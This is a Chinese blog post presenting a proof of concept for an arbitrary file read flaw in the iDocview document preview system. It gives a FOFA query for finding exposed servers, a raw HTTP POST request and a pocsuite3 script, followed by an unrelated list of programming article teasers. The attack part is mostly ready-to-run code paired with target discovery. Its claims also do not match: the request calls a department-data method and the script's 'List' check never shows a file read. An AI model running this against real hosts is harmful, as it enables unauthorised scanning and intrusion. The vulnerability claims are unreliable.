漏洞复现-iDocview某接口存在任意文件读取漏洞(附漏洞检测脚本)

news2024/11/16 20:30:38

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

此在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统,如文本文档、电子表格、演示文稿、PDF文件等。此系统某接口存在任意文件读取漏洞。

fofa语句

title="I Doc View"

poc语句加检测

POST /C6/ajax/UserWebControl.UserSelect.AjaxServiceMethod,UserWebControl.UserSelect.ashx?_method=GetDepartDataByDeptID&_session=no HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

strDeptID=
strUserId=Admin
strUserEsp=
strArchivesId=
deptIds=
IsShowChildrenDept=0
IsCascade=1 

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/14
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class iDocview_fileread(POCBase):
    pocDesc = '''iDocview某接口存在任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-14'
    name = 'iDocview某接口存在任意文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/C6/ajax/UserWebControl.UserSelect.AjaxServiceMethod,UserWebControl.UserSelect.ashx?_method=GetDepartDataByDeptID&_session=no'

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            'Accept': '*/*',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain;charset=UTF-8',
            'Content-Length': '103'

        }

        try:
            data = 'strDeptID=\r\nstrUserId=Admin\r\nstrUserEsp=\r\nstrArchivesId=\r\ndeptIds=\r\nIsShowChildrenDept=0\r\nIsCascade=1'


            response = requests.post(url, headers=headers,data=data)
            if response.status_code == 200 and 'List' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(iDocview_fileread)

脚本利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1309703.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT 入门

目录 QT 概述 QT5安装 QT环境介绍 编写第一个QT的程序 QT项目文件介绍 QT 概述 QT简介 QT是一个跨平台的C图形用户界面应用程序框架。它为程序开发者提供图形界面所需的所有功能。它是完全面向对象的,很容易扩展,并且允许真正地组件编程。 QT的发…

JVM虚拟机:如何查看JVM的XX参数?

本文重点 在学习XX参数之前,我们先来学习一下,如何查看当前程序所配置的xx参数。 查询JVM的xx参数的命令 jps -l (查询正在运行的java进程) jinfo -flag 参数名 进程号 (查看该进程程序的参数的值) jinfo -flags 进程号 (查看该进程程序中所有参数的值) 举例 查看所有的…

华为交换机——配置策略路由(基于IP地址)示例

一、组网需求: 汇聚层Switch做三层转发设备,接入层设备LSW做用户网关,接入层LSW和汇聚层Switch之间路由可达。汇聚层Switch通过两条链路连接到两个核心路由器上,一条是高速链路,网关为10.1.20.1/24;另外一…

pytorch:to()、device()、cuda()将Tensor或模型移动到指定的设备上

将Tensor或模型移动到指定的设备上:tensor.to(‘cuda:0’) 最开始读取数据时的tensor变量copy一份到device所指定的GPU上去,之后的运算都在GPU上进行在做高维特征运算的时候,采用GPU无疑是比用CPU效率更高,如果两个数据中一个加了…

Vue3安装使用Mock.js--解决跨域

首先使用axios发送请求到模拟服务器上,再将mock.js模拟服务器数据返回给客户端。打包工具使用的是vite。 1.安装 npm i axios -S npm i mockjs --save-dev npm i vite-plugin-mock --save-dev 2.在vite.config.js文件中配置vite-plugin-mock等消息 import { viteMo…

数据库——存储过程及游标

智能2112杨阳 一、目的与要求: 1、掌握存储过程的工作原理、定义及操作方法 2、掌握函数的工作原理、定义及操作方法 3、掌握游标的工作原理、定义及操作方法 二、内容: 1. 创建存储过程,用来自动统计给定订单号的订单总金额 源码&…

.NET 反射优化的经验分享

比如针对 GetCustomAttributes 通过反射获取属性的优化,以下例子 // dotnet run -c Release -f net7.0 --filter "*" --runtimes net7.0 net8.0public class Tests{public object[] GetCustomAttributes() => typeof(C).GetCustomAttributes(typeof(MyAttribute…

Windows server 2016 如何禁止系统自动更新

1.打开“运行”,输入cmd,点击“确定”。 2.输入sconfig,然后按回车键。 3.输入5,然后按回车键。 4.示例需要设置为手动更新,即输入M,然后按回车键。 5.出现提示信息,点击“确定”即可。

第四十一篇:移动端调试工具

1.下载工具 npm install vconsole 2.在main.js里全局引用 > import Vconsole from vconsole > new Vconsole()

Python面向对象三大特征(python系列20)

1.封装 定义: 数据角度:将基本数据类型复合成一个自定义类型。 作用:可读性更高,将数据与对数据的操作相关联。 行为角度:对类外提供必要的功能,隐藏实现的细节 作用:让调用者不必了解实现代码&…

ABAP 明细alv跳转到汇总alv一般模板

需求描述:做开发的同时,经常会有遇到,根据明细表进行逻辑汇总,在两个屏幕进行跳转,然后按钮还要做功能的情况,我这边记录一下最简单点模板,给新手可以直接复制使用的。 一、源代码 TYPE-POOLS…

基于JAVAEE技术校园车辆管理系统论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术,让传统数据信息的管理升级为软件存储,归纳,集中处理数据信息的管理方式。本校园车辆管理系统就是在这样的大环境下诞生,其可以帮助管理者在短时间内处理完毕庞大的数据信息…

Mozilla 推出 Solo:借助 AI 帮助零编程用户创建网站

Mozilla 近日推出名为 Solo 的全新项目,面向没有任何编程经验的用户,通过融入 AI 能力,所创建的网站可以媲美专业开发者的开发效果。 Mozilla 表示该项目主要针对中小型企业、个体户,在官方演示中,用户只需要输入文本、…

Linux完成mysql数据库的备份与恢复

背景: 在进行数据报表的测试过程中,为了让我们的测试数据更加真实,因此我们需要同步生产数据到测试环境。方式有很多种,我这里介绍的是通过Linux完成数据同步。 备份数据: 执行命令:mysqldump -uxxx -pxxx…

HAAS 哈斯机床 读写刀补数据

哈斯机床不管是串口机床还是网口机床 都提供了Q命令 可以使用Q命令 进行刀具补偿的读取和写入 最多支持200把刀的 读取和写入

外贸SOHO建站怎么做?海洋建站方法策略?

外贸SOHO建站多少钱?外贸自助建站系统有哪些? 随着全球化的加速发展,外贸SOHO已经成为越来越多创业者的选择。然而,要想在竞争激烈的外贸市场中脱颖而出,一个专业的外贸网站是必不可少的。接下来海洋建站将探讨外贸SO…

jsp文件引用的css修改后刷新不生效问题

问题 在对 JavaWeb 项目修改的过程中,发现修改了 jsp 文件引入的 css 文件的代码后页面的样式没有更新的问题。 原因 导致这个问题的原因可能是因为浏览器缓存的问题。 解决方法 下面介绍两种解决方法,供大家参考: 1、给 link 标签的 c…

图文并茂讲VLAN,一遍就能理解

图文并茂讲VLAN,一遍就能理解 弱电行业圈2019-03-19 10:12 vlan的应用在网络项目中是非常广泛的,基本上大部分的项目都需要划分vlan,前几天我们讲到vlan的配置,有朋友就提到有没有更基础一些的内容,今天我们就从基础…

【LeetCode刷题】--172.阶乘后的零

172.阶乘后的零 方法&#xff1a; class Solution {public int trailingZeroes(int n) {int ans 0;for(int i 5;i<n;i5){for(int x i; x % 50; x/5){ans;}}return ans;} }进一步优化&#xff1a; class Solution {public int trailingZeroes(int n) {int ans 0;while (n…

今日开幕!飞凌嵌入式受邀参加2023年瑞萨技术交流日全国巡回展

来源&#xff1a;飞凌嵌入式官网 2023年瑞萨技术交流日全国巡回展&#xff08;广州站&#xff09;今日开幕&#xff0c;飞凌嵌入式再次受邀参加&#xff0c;并与来自新能源、自动化、工业物联网以及人工智能等领域的精英们共同探讨前沿技术。 在今日的巡展现场&#xff0c;飞凌…